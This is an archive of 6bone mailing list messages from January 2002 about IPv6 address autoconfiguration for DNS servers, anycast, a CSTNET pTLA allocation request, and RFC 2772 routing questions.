From: Edward Lewis <lewis@tislabs.com>
Subject: RE: Question on address configuration
Cc: "Edward Lewis" <lewis@tislabs.com>, "6BONE List" <6bone@ISI.EDU>
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At 11:21 PM -0500 1/4/02, Michel Py wrote:
>Something I don't get: from your text it appears that you own
>3ffe:817::/32 and
>I don't see that block in the 6bone database.

The delegation is young...;)  I'm not sure if it is a /32 or a /higher.
With the holidays just over, I'm sure it'll be worked out soon.

Where is the 6bone database?  I was hoping there was someway to verify
address assignments.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis                                                NAI Labs
Phone: +1 443-259-2352                      Email: lewis@tislabs.com

Opinions expressed are property of my evil twin, not my employer.



From 6bone-owner  Mon Jan  7 07:58:52 2002
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Edward,

>> At 11:21 PM -0500 1/4/02, Michel Py wrote:
>> Something I don't get: from your text it appears
>> that you own 3ffe:817::/32 and
>> I don't see that block in the 6bone database.
> From: Edward Lewis [mailto:lewis@tislabs.com]
> The delegation is young...;)  I'm not sure if it is a
> /32 or a /higher. With the holidays just over, I'm sure
> it'll be worked out soon.
> Where is the 6bone database?  I was hoping there was someway
> to verify address assignments.

There is a link to the 6bone registry on the main
6bone web page, www.6bone.net

Michel

From 6bone-owner  Mon Jan  7 08:14:31 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Pekka Savola" <pekkas@netcore.fi>,
        "Nathan Lutchansky" <lutchann@litech.org>
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Has someone try to spin that idea in the ipv6 WG?

Michel

-----Original Message-----
From: Pekka Savola [mailto:pekkas@netcore.fi]
Sent: Monday, January 07, 2002 12:23 AM
To: Nathan Lutchansky
Cc: Edward Lewis; 6BONE List
Subject: Re: Question on address configuration

On Sun, 6 Jan 2002, Nathan Lutchansky wrote:
> On Sat, Jan 05, 2002 at 07:45:59PM +0200, Pekka Savola wrote:
> > On Fri, 4 Jan 2002, Edward Lewis wrote:
> > > E.g., Could (linux) ifcfg-eth0 have a line IPV6ADDR="::3" which tells the
> > > router solicitor to append that to the router's prefix?
> >
> > No, that isn't possible.
> >
> > I think this would be an interesting development; basically a simple
> > implementation of user-space router solicitation client would be required.
>
> I should think the better solution would be to modify the IPv6 stack to
> generate global addresses by combining advertised prefixes with the lower
> 64 from each link-local address.  Then you can add all your well-known
> interface IDs as link-local addresses and your globals will just appear.
>
> Thus, if I have eth0 with
>
>   - autoconfigured address       fe80::2a0:56ff:fe94:4444 and
>   - manually configured address  fe80::1,
>
> my global addresses would be generated from the advertised prefix of
> 3ffe:2900:f10a:701::/64 to give
>
>   - 3ffe:2900:f10a:701:2a0:56ff:fe94:4444 and
>   - 3ffe:2900:f10a:701::1.
>
> Now I have a well-known interface ID used in an autoconfigured prefix.
>
> I haven't thought about this enough to find any problems, and I haven't
> checked to see if RFC 2462 would even allow this approach.  But I can
> certainly see benefits to doing autoconfiguration this way.  -Nathan

This is an interesting idea, and IMO, might be nice to have as a on/off
togglable feature at least.

The problem is that if someone adds a manual address to the link-locals,
he might not want it in globals.

One additional (but perhaps minor) problem here is DAD.  If the node has
fe80::1 as its address, it has already performed duplicate address
detection for it.  By the spec, the DAD check can be omitted if the suffix
is the same, so no DAD would be performed if one configured 3ffe:ffff::1.
For global addresses, this might be worse than for link-locals.

But then again, DAD isn't (error/fool)proof anyway, so I don't think this
is a too big issue.

--
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords

From 6bone-owner  Mon Jan  7 21:43:29 2002
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From: Abdul Rouf Basheer <abdul.rouf@wipro.net>
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Hi,
We are Class A ISP in India with POPS in 32 cities. our AS is 9796. We have
two upstream providers, one is terrestrial and the other is satellite.
Provider who has taken Bandwidth from global crossings termintes to NAP in
US. Where as Provider satellite (Loral Orion) connects to base station in
Huawei.
>I wanted to connect to 6bone to one of NLA. I have tried sending mails to
Mr. Rahul referenced name in ipv6-site:IPV6-BITS-IN, more than a week no
response yet.
Consider me a novice in IPv6 and pls. do help.


Thanks in advance.

> Cheers :-):-):-)
> Abdul Rouf
> Wipro Infotech Ltd.,
> Communication Services Division
> * abdul.rouf@wipro.net 
> & : 080-5092563/65/98/99-Extn-127
> 
> 

From 6bone-owner  Tue Jan  8 03:36:29 2002
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Subject: Contact person at sprintlink
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Hi to all,
I'm looking for a contact person at sprintlink.
Previous one seems to not responding no more....
Thanks to all
 
Matteo Tescione
Ip admin
COMv6

From 6bone-owner  Tue Jan  8 05:59:04 2002
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I am here. What can I do for you?  Who did you use in the past?

Thanks
Rob Rockell
Principal Engineer
SprintLink Europe/Asia
(+1) 703-689-6322
Sprint IP Services : Thinking outside the 435 box
-----------------------------------------------------------------------

On Tue, 8 Jan 2002, Matteo Tescione wrote:

->Hi to all,
->I'm looking for a contact person at sprintlink.
->Previous one seems to not responding no more....
->Thanks to all
->
->Matteo Tescione
->Ip admin
->COMv6
->


From 6bone-owner  Tue Jan  8 06:16:56 2002
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You might be experiencing the same thing I was:

SPAMHaus has listed all of Sprint's Corporate servers as SPAM hosts.  If
you are using Osirusoft or SPAMHaus in your E-Mail system, their mail is
bouncing.

Apparently, there are lawyers involved now.

Matteo Tescione wrote:

> Hi to all,
> I'm looking for a contact person at sprintlink.
> Previous one seems to not responding no more....
> Thanks to all
>
> Matteo Tescione
> Ip admin
> COMv6


From 6bone-owner  Tue Jan  8 06:52:21 2002
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From 6bone-owner  Tue Jan  8 11:37:08 2002
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Date: Tue, 8 Jan 2002 11:37:57 -0800
From: Chuck Yerkes <chuck+6bone@snew.com>
To: Edward Lewis <lewis@tislabs.com>
Cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: Question on address configuration
Message-ID: <20020108113756.A28736@snew.com>
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In-Reply-To: <v03130319b85bc33a5b18@[199.171.39.21]>; from lewis@tislabs.com on Fri, Jan 04, 2002 at 03:54:32PM -0500
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Why not do the auto-conf and get the whole, and I'll call "true"
address (that uses the Mac Address).  And setup an alias address
for the DNS function.  I've regularly put multiple addresses on
a single machine when multiple machines aren't needed.

Your interface can carry several addresses (whether IPv6 or v4).


Quoting Edward Lewis (lewis@tislabs.com):
> We're starting up a 6Bone connected set of machines and have come across a
> question regarding setting up a server.  (If this isn't 6Bone fodder,
> please send me a redirect.)
> 
> I'd like to have my DNS server at 3ffe:817::3.  I can configure an
> interface to come up at that address.  But I would also like to have this
> machine be able to listen to a router's advertisement of 3ffe:817::/64 as
> the local (globally routed) network address and then append ::3 to get the
> setting.
> 
> E.g., Could (linux) ifcfg-eth0 have a line IPV6ADDR="::3" which tells the
> router solicitor to append that to the router's prefix?
> 
> I understand autoconf, and have been able to set that up, getting
> prefix:enet-number as the IPv6 address.  Like I said, by playing with the
> ifconfig (or appropriate network interface configuration command) I can
> also just set up the 128 bit address.
> 
> If there isn't already a way to assign an address in the way I've
> described, this may be an issue.  I'd like to take advantage of router
> advertisements so that I can renumber by just changing the router (and a
> few lines in DNS, assuming A6).  If I use autoconf I can do this - but if
> my server's interface card dies and is replaced, my server's well-known
> address is changed.  With DNS and the /etc/resolv.conf file, I'd have to
> visit every machine to make this change.
> 
> Perhaps this isn't a clear description of the problem.  Yeah, an
> application like DNS shouldn't depend on the network (IPv6) address - but
> this is DNS.  Maybe I do need to forego the advantages of autoconf for
> servers.  Maybe I have the wrong mindset about address assignments.
> Perhaps my clients should put a site-local address in /etc/resolv.conf, and
> I should pay the price for static assignments for my publically accessable
> [name] servers.
> 
> PS Typing "ping6 3ffe:817::3" is a lot easier than:
>           "ping6 3ffe:817::what:ever:that:card:is"
> 
> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
> Edward Lewis                                                NAI Labs
> Phone: +1 443-259-2352                      Email: lewis@tislabs.com
> 
> Opinions expressed are property of my evil twin, not my employer.
> 

From 6bone-owner  Tue Jan  8 18:38:47 2002
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From: Robert Elz <kre@munnari.OZ.AU>
To: Chuck Yerkes <chuck+6bone@snew.com>
cc: Edward Lewis <lewis@tislabs.com>, 6BONE List <6bone@ISI.EDU>
Subject: Re: Question on address configuration 
In-Reply-To: <20020108113756.A28736@snew.com> 
References: <20020108113756.A28736@snew.com>  <v03130319b85bc33a5b18@[199.171.39.21]> 
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    Date:        Tue, 8 Jan 2002 11:37:57 -0800
    From:        Chuck Yerkes <chuck+6bone@snew.com>
    Message-ID:  <20020108113756.A28736@snew.com>

  | Why not do the auto-conf and get the whole, and I'll call "true"
  | address (that uses the Mac Address).  And setup an alias address
  | for the DNS function.  I've regularly put multiple addresses on
  | a single machine when multiple machines aren't needed.

That doesn't make a lot of sense - multiple addresses are a fine facility
to have, for when they're needed, but adding addresses just because they
can be added makes no sense.

If they all go in the DNS, then (because they're all reachable or not
simultaneously when they have the same prefix) then when the host or net
is down, others will waste time trying multiple variants on what is
essentially the same thing, for no benefit whatever.

On the other hand, if they're not in the DNS, and don't have some special
purpose local use, then they might as well not exist, as no-one will ever
use them.

The original request pointed out what is pretty much a current implementation
deficiency - it isn't a major one, as it doesn't prevent anyone from doing
anything they need to do, it just makes it harder.   Eventually I'd expect to
see implementations improved so configuring the "token" part to be used for
addresses (for one specific address, or for all addresses autoconfigured
on an interface) is easy.

kre

ps: there's no point taking this to the ipngwg (or ipv6wg if its name has
changed by now), this has nothing at all to do with the protocols - not even
with the API, it is purely an implementation mtter.


From 6bone-owner  Tue Jan  8 22:50:49 2002
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Date: Tue, 8 Jan 2002 22:51:27 -0800
From: Bill Manning <bmanning@ISI.EDU>
To: Robert Elz <kre@munnari.OZ.AU>
Cc: Chuck Yerkes <chuck+6bone@snew.com>, Edward Lewis <lewis@tislabs.com>,
        6BONE List <6bone@ISI.EDU>
Subject: Re: Question on address configuration
Message-ID: <20020109065127.GI971@zed.isi.edu>
References: <20020108113756.A28736@snew.com> <v03130319b85bc33a5b18@[199.171.39.21]> <3209.1010543903@brandenburg.cs.mu.OZ.AU>
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> The original request pointed out what is pretty much a current implementation
> deficiency - it isn't a major one, as it doesn't prevent anyone from doing
> anything they need to do, it just makes it harder.   Eventually I'd expect to
> see implementations improved so configuring the "token" part to be used for
> addresses (for one specific address, or for all addresses autoconfigured
> on an interface) is easy.
> 
> kre
> 
> ps: there's no point taking this to the ipngwg (or ipv6wg if its name has
> changed by now), this has nothing at all to do with the protocols - not even
> with the API, it is purely an implementation mtter.


	why does this (the original question) look alot like 
	the old IPv4 form:

		0.0.160.57

	and the router prepends the prefix....

--bill

From 6bone-owner  Wed Jan  9 08:03:13 2002
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Date: Wed, 09 Jan 2002 08:04:02 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for CSTNET - review closes 23 January 2002
Cc: "zhang hong" <zhangh@cnnic.net.cn>, <ipv6group@cnnic.net.cn>
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6bone Folk,

CSTNET has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 23 
January 2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?CSTNET>
<http://www.cstnet.net.cn>
<http://www.ipv6.cnnic.net.cn>


Thanks,

Bob

===
>From: "zhang hong" <zhangh@cnnic.net.cn>
>To: "Bob Fink" <fink@es.net>
>Cc: <ipv6group@cnnic.net.cn>, "ë ΰ" <mao@cnnic.net.cn>,
>         "ÕÅ ÎÄ»Ô" <zwh@cnnic.net.cn>
>Subject: pTLA request for CSTNet
>Date: Tue, 8 Jan 2002 16:18:20 +0800
>X-Mailer: Microsoft Outlook Express 6.00.2600.0000
>Hello Bob,
>
>Happy New year!
>We are CSTNet in China. We would like to apply for a pTLA
>allocation from 6Bone. CSTNet is one of the four major networks
>directly linked to the global Internet in China.
>CSTNet provides comprehensive network communication service
>and Internet service to the scientific and technical circles,
>scientific administrative departments, relevant government
>departments and hi-tech enterprises all over China. The web
>page is http://www.cstnet.net.cn , http://www.cnic.ac.cn
>
>We would like to request one pTLA block, conforming to RFC 2772
>pTLA prefix requests.
>
>
>7. Guidelines for 6Bone pTLA sites
>
>The following rules apply to qualify for a 6Bone pTLA allocation.
>It should be recognized that holders of 6Bone pTLA allocations
>are expected to provide production quality backbone network
>services for the 6Bone.
>
>1. The pTLA Applicant must have a minimum of three (3) months
>    qualifying experience as a 6Bone end-site or pNLA transit.
>    During the entire qualifying period the Applicant must be
>    operationally providing the following:
>
>We have been assigned the IPv6 address from Sprint in US since
>July 2000. Our address prefix is 3ffe:2900:e003/48.
>
>a. Fully maintained, up to date, 6Bone Registry entries for their
>    ipv6-site inet6num, mntner, and person objects, including each
>    tunnel that the Applicant has.
>
>The CSTNET has the following objects:
>
>inet6num:     3FFE:2900:E003::/48
>ipv6-site:    CSTNET
>mntner:       MNT-CNNIC
>mnt-by:       MNT-CNNIC
>person:       Zhang Hong
>person:       Zhijie Ren
>person:       Luo Yan
>person:       Xia Qing
>application:
>ping www.ipv6.cnnic.net.cn
>IPv4/IPv6 url  www.ipv6.cnnic.net.cn
>
>We have 6 tunnels:
>tunnel:       IPv6 in IPv4 6bone.ipv6.cnnic.net.cn ->
>sl-bb1-6bone.sprintlink.net SPRINT BGP4+
>tunnel:       IPv6 in IPv4 6bone.ipv6.cnnic.net.cn ->
>lorrie-pt.tunnel.ipv6.he.net HURRICANE BGP4+
>tunnel:       IPv6 in IPv4 6bone.ipv6.cnnic.net.cn ->
>6bone-gw3.cselt.it TILAB BGP4+
>tunnel:       IPv6 in IPv4 6bone.ipv6.cnnic.net.cn ->
>gateway.manis.net.my MIMOS BGP4+
>tunnel:       IPv6 in IPv4 6bone.ipv6.cnnic.net.cn ->
>ipv6-lab-gw.cisco.com CISCO BGP4+
>tunnel:       IPv6 in IPv4 6bone.ipv6.cnnic.net.cn ->
>ipv6-gw1.pa-x.dec.com DIGITAL-CA BGP4+
>
>
>
>b. Fully maintained, and reliable, BGP4+ peering and connectivity
>    between the Applicant's boundary router and the appropriate
>    connection point into the 6Bone. This router must be IPv6
>    pingable. This criteria is judged by members of the 6Bone
>    Operations Group at the time of the Applicant's pTLA request.
>
>Our BGP4+ conections are working on cisco 2611, this router is
>6bone.ipv6.cnnic.net.cn and can be Ipv6 pingable.
>
>
>c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>    entries for the Applicant's router(s) and at least one host
>    system.
>
>Forward(AAAA) entries are as following:
>
>www    IN AAAA 3ffe:2900:e003:0:200:21ff:fee4:59a0
>6bone  IN AAAA 3ffe:2900:e003::65
>
>Reverse(ip6.int) entries are as following:
>
>$ORIGIN 3.0.0.e.0.0.9.2.e.f.f.3.ip6.int.
>0.a.9.5.4.e.e.f.f.f.1.2.0.0.2.0.0.0.0.0 14400 IN      PTR
>www.ipv6.cnnic.net.cn.
>5.6.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 14400 IN      PTR
>6bone.ipv6.cnnic.net.cn.
>
>
>d. A fully maintained, and reliable, IPv6-accessible system
>    providing, at a mimimum, one or more web pages, describing the
>    Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>Our Dual-Stack (IPv4/IPv6) web page is http://www.ipv6.cnnic.net.cn.
>Here you could find some basic information about IPv6, and our
>tunnels status can be found here.
>
>
>2. The pTLA Applicant MUST have the ability and intent to provide
>    "production-quality" 6Bone backbone service. Applicants must
>    provide a statement and information in support of this claim.
>    This MUST include the following:
>
>a. A support staff of two persons minimum, three preferable, with
>    person attributes registered for each in the ipv6-site object
>    for the pTLA applicant.
>
>We have 4 Persons:
>
>ZH-6BONE
>REN-6BONE
>LY-6BONE
>XQ-6BONE
>
>b. A common mailbox for support contact purposes that all support
>    staff have acess to, pointed to with a notify attribute in the
>    ipv6-site object for the pTLA Applicant.
>
>Ipv6group@cnnic.net.cn
>
>3. The pTLA Applicant MUST have a potential "user community" that
>    would be served by its becoming a pTLA, e.g., the Applicant is a
>    major provider of Internet service in a region, country, or focus
>    of interest. Applicant must provide a statement and information in
>    support this claim.
>
>CSTNet is one of the four major networks directly linked to the
>global Internet in China. CSTNet provides comprehensive network
>communication service and Internet service to the scientific and
>technical circles, scientific administrative departments,
>relevant government departments and hi-tech enterprises all over
>China. There are over 1000 access networks, 300,000 computers
>directly linked to CSTNet and 800,000 end-users distributed in
>30 provinces or cities across the country. The web page is
>http://www.cstnet.net.cn , http://www.cnic.ac.cn
>
>4. The pTLA Applicant MUST commit to abide by the current 6Bone
>    operational rules and policies as they exist at time of its
>    application, and agree to abide by future 6Bone backbone
>    operational rules and policies as they evolve by consensus of the
>    6Bone backbone and user community.
>
>We undertand the 6bone operational rules and we are strongly agree
>with them . We will abide by the current and the future 6bone
>operational rules and policies.
>
>    When an Applicant seeks to receive a pTLA allocation, it will apply
>    to the 6Bone Operations Group (see section 8 below) by providing to
>    the Group information in support of its claims that it meets the
>    criteria above.
>
>8. 6Bone Operations Group
>
>    The 6Bone Operations Group is the group in charge of monitoring and
>    policing adherence to the current rules. Membership in the 6Bone
>    Operations Group is mandatory for, and restricted to, sites
>    connected to the 6Bone.
>
>    The 6Bone Operations Group is currently defined by those members of
>    the existing 6Bone mailing list who represent sites participating in
>    the 6Bone. Therefore it is incumbent on relevant site contacts to
>    join the 6Bone mailing list. Instructions on how to join the list are
>    maintained on the 6Bone web site at < http://www.6bone.net>.
>
>
>
>Regards from China!
>Thank you very much!
>
>Zhang Hong
>zhangh@cnnic.net.cn



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Thread-Index: AcGZKCNrJs+j8OIYRZ+U9nSqtl8GJg==
From: "Matthew Lehman" <mlehman@microsoft.com>
To: "6BONE List" <6bone@ISI.EDU>
Cc: "Edward Lewis" <lewis@tislabs.com>
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What about a well-known anycast address for the DNS server to listen on.
The clients could use the well-known address and would only require
configuration once, it's reasonably scalable (just add more DNS servers
listening on the address), and it does not require any special changes
to any protocols.  It does require anycast listening support and I don't
know of any platforms that currently have it.  Someone on the list might
know more about implementations in the works.

-Matthew

-----Original Message-----
From: Robert Elz [mailto:kre@munnari.OZ.AU] 
Sent: Tuesday, January 08, 2002 6:38 PM
To: Chuck Yerkes
Cc: Edward Lewis; 6BONE List
Subject: Re: Question on address configuration 

    Date:        Tue, 8 Jan 2002 11:37:57 -0800
    From:        Chuck Yerkes <chuck+6bone@snew.com>
    Message-ID:  <20020108113756.A28736@snew.com>

  | Why not do the auto-conf and get the whole, and I'll call "true"
  | address (that uses the Mac Address).  And setup an alias address
  | for the DNS function.  I've regularly put multiple addresses on
  | a single machine when multiple machines aren't needed.

That doesn't make a lot of sense - multiple addresses are a fine
facility
to have, for when they're needed, but adding addresses just because they
can be added makes no sense.

If they all go in the DNS, then (because they're all reachable or not
simultaneously when they have the same prefix) then when the host or net
is down, others will waste time trying multiple variants on what is
essentially the same thing, for no benefit whatever.

On the other hand, if they're not in the DNS, and don't have some
special
purpose local use, then they might as well not exist, as no-one will
ever
use them.

The original request pointed out what is pretty much a current
implementation
deficiency - it isn't a major one, as it doesn't prevent anyone from
doing
anything they need to do, it just makes it harder.   Eventually I'd
expect to
see implementations improved so configuring the "token" part to be used
for
addresses (for one specific address, or for all addresses autoconfigured
on an interface) is easy.

kre

ps: there's no point taking this to the ipngwg (or ipv6wg if its name
has
changed by now), this has nothing at all to do with the protocols - not
even
with the API, it is purely an implementation mtter.


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From: Billy <drwho@timelords.org>
To: 6bone@ISI.EDU
Subject: Re: Contact person at sprintlink
Message-ID: <20020109102216.C79657@timelords.org>
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Rob kicks major heinie..  he's awesome, and will be very helpful
for you if you are nice to him!  :)

- Bill W
On Tue, Jan 08, 2002 at 08:58:34AM -0500, Robert J. Rockell wrote:
> Date: Tue, 8 Jan 2002 08:58:34 -0500 (EST)
> From: "Robert J. Rockell" <rrockell@sprint.net>
> To: Matteo Tescione <wizard@italiansky.com>
> Cc: <6bone@ISI.EDU>
> Subject: Re: Contact person at sprintlink
> 
> I am here. What can I do for you?  Who did you use in the past?
> 
> Thanks
> Rob Rockell
> Principal Engineer
> SprintLink Europe/Asia
> (+1) 703-689-6322
> Sprint IP Services : Thinking outside the 435 box
> -----------------------------------------------------------------------
> 
> On Tue, 8 Jan 2002, Matteo Tescione wrote:
> 
> ->Hi to all,
> ->I'm looking for a contact person at sprintlink.
> ->Previous one seems to not responding no more....
> ->Thanks to all
> ->
> ->Matteo Tescione
> ->Ip admin
> ->COMv6
> ->
> 

-- 
-------------------------------------------
If you're not outraged, you're not paying attention!

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From: Pekka Savola <pekkas@netcore.fi>
To: Matthew Lehman <mlehman@microsoft.com>
cc: 6BONE List <6bone@ISI.EDU>, Edward Lewis <lewis@tislabs.com>
Subject: RE: Question on address configuration 
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On Wed, 9 Jan 2002, Matthew Lehman wrote:
> What about a well-known anycast address for the DNS server to listen on.
> The clients could use the well-known address and would only require
> configuration once, it's reasonably scalable (just add more DNS servers
> listening on the address), and it does not require any special changes
                                                     ^^^^^^^^^^^^^^^^^^^
> to any protocols.
  ^^^^^^^^^^^^^^^^

Are you sure about this?  This is different from IPv4 "anycast".  IPv6 
anycast address cannot be used as a source address.  Therefore, according 
to e.g.:

draft-ietf-ipngwg-ipv6-anycast-analysis-00.txt

many DNS implementations may check the source address of the replies to 
the queries; thus use of anycast in this scenario might require 
protocol/implementation changes.

> It does require anycast listening support and I don't
> know of any platforms that currently have it.  Someone on the list might
> know more about implementations in the works.

Anycast Listening is not a problem, e.g. KAME/BSD have had it for a long 
time now, USAGI for Linux just got it.

FWIW, I've used IPv6 anycast address for about half a year in a 6to4 relay
setup.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


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Subject: RE: Question on address configuration 
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Thread-Topic: Question on address configuration 
Thread-Index: AcGZQgB8MhlkRzMxS3K26nfpH5/UGAAAh44g
From: "Matthew Lehman" <mlehman@microsoft.com>
To: "Pekka Savola" <pekkas@netcore.fi>
Cc: "6BONE List" <6bone@ISI.EDU>, "Edward Lewis" <lewis@tislabs.com>
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> -----Original Message-----
> From: Pekka Savola [mailto:pekkas@netcore.fi]
> Sent: Wednesday, January 09, 2002 11:15 AM
> To: Matthew Lehman
> Cc: 6BONE List; Edward Lewis
> Subject: RE: Question on address configuration
> 
> On Wed, 9 Jan 2002, Matthew Lehman wrote:
> > What about a well-known anycast address for the DNS server to listen
on.
> > The clients could use the well-known address and would only require
> > configuration once, it's reasonably scalable (just add more DNS
servers
> > listening on the address), and it does not require any special
changes
>
^^^^^^^^^^^^^^^^^^^
> > to any protocols.
>   ^^^^^^^^^^^^^^^^
> 
> Are you sure about this?  This is different from IPv4 "anycast".  IPv6
> anycast address cannot be used as a source address.  Therefore,
according
> to e.g.:
> 
> draft-ietf-ipngwg-ipv6-anycast-analysis-00.txt
> 
> many DNS implementations may check the source address of the replies
to
> the queries; thus use of anycast in this scenario might require
> protocol/implementation changes.

I agree.  I just don't think getting the server or resolver to be
anycast aware requires an rfc or new protocol.  I do think there would
need to be some implementations changes as I don't believe there is a
way to make this work currently.  I could be easily be wrong.

> > It does require anycast listening support and I don't
> > know of any platforms that currently have it.  Someone on the list
might
> > know more about implementations in the works.
> 
> Anycast Listening is not a problem, e.g. KAME/BSD have had it for a
long
> time now, USAGI for Linux just got it.
> 
> FWIW, I've used IPv6 anycast address for about half a year in a 6to4
relay
> setup.
>
> --
> Pekka Savola                 "Tell me of difficulties surmounted,
> Netcore Oy                   not those you stumble over and fall"
> Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


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	Thu, 10 Jan 2002 13:19:20 +0700 (ICT)
From: Robert Elz <kre@munnari.OZ.AU>
To: "Matthew Lehman" <mlehman@microsoft.com>
cc: "6BONE List" <6bone@ISI.EDU>, "Edward Lewis" <lewis@tislabs.com>
Subject: Re: Question on address configuration 
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    Date:        Wed, 9 Jan 2002 08:10:21 -0800
    From:        "Matthew Lehman" <mlehman@microsoft.com>
    Message-ID:  <C2A256696D17E44C9ADC95A77FE95997048803B5@red-msg-05.redmond.corp.microsoft.com>

  | What about a well-known anycast address for the DNS server to listen on.

This is a fine topic to discuss, though this is not really the right place,
but it has nothing at all to do with the topic that was being discussed
to which you replied.

This thread used to be about a method to configure a node with a user
selected 64 bit token (to use instead of the MAC address) and then have
the node use that exactly as it would the MAC address for auto-configuration.

Currently nodes (that most people seem to have seen anyway) allow only
the MAC address to be used for autoconf of addresses (some may allow the
MAC address to be altered, but doing that isn't the aim) - or they allow
you to manually configure the whole address, which then requires knowledge
of the prefix that apply to the link.

How one finds DNS servers has nothing at all to do with this...

kre


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Date: Thu, 10 Jan 2002 09:48:08 -0500
To: "6BONE List" <6bone@ISI.EDU>
From: Edward Lewis <lewis@tislabs.com>
Subject: Re: Question on address configuration
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At 1:19 AM -0500 1/10/02, Robert Elz wrote:
>How one finds DNS servers has nothing at all to do with this...

Your points up to this are accurate.  But I wouldn't agree that there is no
relationship to finding DNS servers.

Reading the replies and thinking more about this situation (and why two of
us IPv6 newcomers found this), we realized that this problem is rather
DNS-centric.  Any other server out there can use autoconfig with the MAC
address and rely on DNS for name to number mapping.  If the MAC card on,
say, an SMTP server dies, a new one is installed and the DNS zone data
modified.

There are only two places a DNS server's IP has to be fixed.  One is in the
(pardon the UNIX-centricity here) /etc/resolve.conf file and in the
server's delegating zone data (e.g., what Verisign says about your .com NS
servers).  Solving the /etc/resolv.conf problem can be done a few different
ways (including putting recursive servers on site/local-addresses.  But if
the glue records can't be updated at the parent, this is a problem...

One unwritten assumption I make in designing a DNS set up is to run two
servers, one that is recursive (answering general questions) and another
(set) that is authoritative (answering only specific questions).  ("Why" is
for the DNS mail lists.)  So it seems natural to have some site-local
addressed servers.

However, this won't help me when I am on the road and dialing in via other
networks.  But then again neither will an anycast approach if name servers
restrict whom they permit to launch recursive queries.  (And thus we're
back to why I need to set the IP[v6] address.)  Hmmmm.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis                                                NAI Labs
Phone: +1 443-259-2352                      Email: lewis@tislabs.com

Opinions expressed are property of my evil twin, not my employer.



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From: "Matteo Tescione" <wizard@italiansky.com>
To: <6bone@ISI.EDU>
Subject: Little question
Date: Thu, 10 Jan 2002 17:48:23 +0100
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Hi to all, i have a little question:
while reading rfc 2546 regarding 6bone routing practice, i don't =
understand very well what does it means when says "Site border router =
MUST NOT advertise prefixes more specific than the /48 ones allocated by =
their ISP."=20
I was looking in several rfcs regarding ipv6 about the possibility for =
request a pTla using a private As number or the AS from the upstream =
provider (reference to rfc2270, "Using a Dedicated AS for Sites  Homed =
to a Single Provider").
Can anyone help me?
Thanks to all in advance=20


Matteo Tescione
IP & Security Manager
INCOM s.r.l.=20
Sitename:Comv6; www.comv6.com


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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi to all, i have a little =
question:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>while reading rfc 2546 regarding 6bone =
routing=20
practice, i don't understand very well what does it means when says =
"Site border=20
router MUST NOT advertise prefixes more specific than the&nbsp;/48 ones=20
allocated by their ISP." </FONT></DIV>
<DIV><FONT><FONT face=3DArial size=3D2>I was looking in several rfcs =
regarding ipv6=20
about the possibility for request a pTla using a private As number or =
the AS=20
from the upstream provider (reference to rfc2270, "Using a Dedicated AS =
for=20
Sites&nbsp; Homed to a Single Provider").</FONT></FONT></DIV>
<DIV><FONT><FONT face=3DArial size=3D2>Can anyone help =
me?</FONT></FONT></DIV>
<DIV><FONT><FONT face=3DArial size=3D2>Thanks to all in advance=20
<BR></FONT></FONT><FONT><FONT size=3D2>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D1>Matteo Tescione</FONT></DIV>
<DIV><FONT face=3DArial size=3D1>IP &amp; Security Manager</FONT></DIV>
<DIV><FONT face=3DArial size=3D1>INCOM s.r.l. </FONT></DIV>
<DIV><FONT face=3DArial size=3D1>Sitename:Comv6; <A=20
href=3D"http://www.comv6.com">www.comv6.com</A></FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D1></FONT>&nbsp;</DIV></DIV></FONT></FONT></BODY></HTML>

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Date: Thu, 10 Jan 2002 10:48:37 -0800
To: "Matteo Tescione" <wizard@italiansky.com>
From: Bob Fink <fink@es.net>
Subject: Re: Little question
Cc: 6BONE List <6bone@ISI.EDU>
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Matteo,

At 05:48 PM 1/10/2002 +0100, Matteo Tescione wrote:
>Hi to all, i have a little question:
>while reading rfc 2546 regarding 6bone routing practice, i don't 
>understand very well what does it means when says "Site border router MUST 
>NOT advertise prefixes more specific than the /48 ones allocated by their 
>ISP."

RFC2546 is obsolete and replaced by RFC2772. You should read section 4 and 
then ask me specific questions you may have.


>I was looking in several rfcs regarding ipv6 about the possibility for 
>request a pTla using a private As number or the AS from the upstream 
>provider (reference to rfc2270, "Using a Dedicated AS for Sites  Homed to 
>a Single Provider").

We do not allocate pTLAs unless the requester has their own AS number for 
their exclusive IPv6 use (their IPv4 ASN will do).


Bob


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From: "Matteo Tescione" <wizard@italiansky.com>
To: <6bone@ISI.EDU>
Subject: RE: Little Problem
Date: Thu, 10 Jan 2002 20:39:27 +0100
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Hello Bob, thanks a lot for your quick answer.
Now everything is just most clear but in rfc2772 i can't see why a site
without their own asn cannot use the upstream provider's asn to request =
a
pTLA. Can you explain me this?
Best Regards,
Matteo

> ----- Original Message -----
> From: "Bob Fink" <fink@es.net>
> To: "Matteo Tescione" <wizard@italiansky.com>
> Cc: "6BONE List" <6bone@isi.edu>
> Sent: Thursday, January 10, 2002 7:48 PM
> Subject: Re: Little question
>
>
> > Matteo,
> >
> > At 05:48 PM 1/10/2002 +0100, Matteo Tescione wrote:
